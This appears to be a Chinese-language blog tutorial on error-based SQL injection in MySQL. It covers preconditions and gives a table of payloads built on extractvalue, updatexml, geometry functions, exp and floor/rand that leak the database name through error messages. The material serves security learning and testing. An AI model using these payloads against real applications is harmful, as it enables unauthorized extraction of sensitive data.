1.何为报错注入?
报错注入是一种在SQL注入攻击中利用数据库的错误信息来获取敏感数据的技术。当网站的web服务器开启了错误回显,并且数据库执行出错时,攻击者可以通过构造特定的SQL语句,让数据库在报错信息中泄露敏感数据。
2.利用报错注入有哪些前提条件?
- Web应用程序未关闭数据库报错函数
- 后台未对一些具有报错功能的函数进行过滤
- 数据库支持报错注入(并非所有数据库都支持通过报错机制来泄露敏感信息,攻击者需要确保目标数据库支持报错注入)
3.报错注入需要用到哪些函数?
注:以下以MySQL中的函数为列。
序号 | 函数 | 用法 |
---|---|---|
1 | extractvalue() |
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e))) |
2 | updatexml() |
select * from test where id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) |
3 | multipoint() |
select * from test where id=1 and multipoint((select * from(select *from(select database())a)b)) |
4 | polygon() |
select * from test where id=1 and polygon((select * from(select *from(select database())a)b)) |
5 | multipolygon() |
select * from test where id=1 and multipolygon((select * from(select *from(select database())a)b)) |
6 | exp() |
select * from test where id=1 and exp(~(select *from(select database())a)) |
7 | floor() |
select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
注:报错注入对数据库类型和版本有较强依赖,不清楚数据库时需要变换多种exp尝试。
标签:database,报错,SQL,test,where,id,select,注入 From: https://www.cnblogs.com/capybaras/p/18328838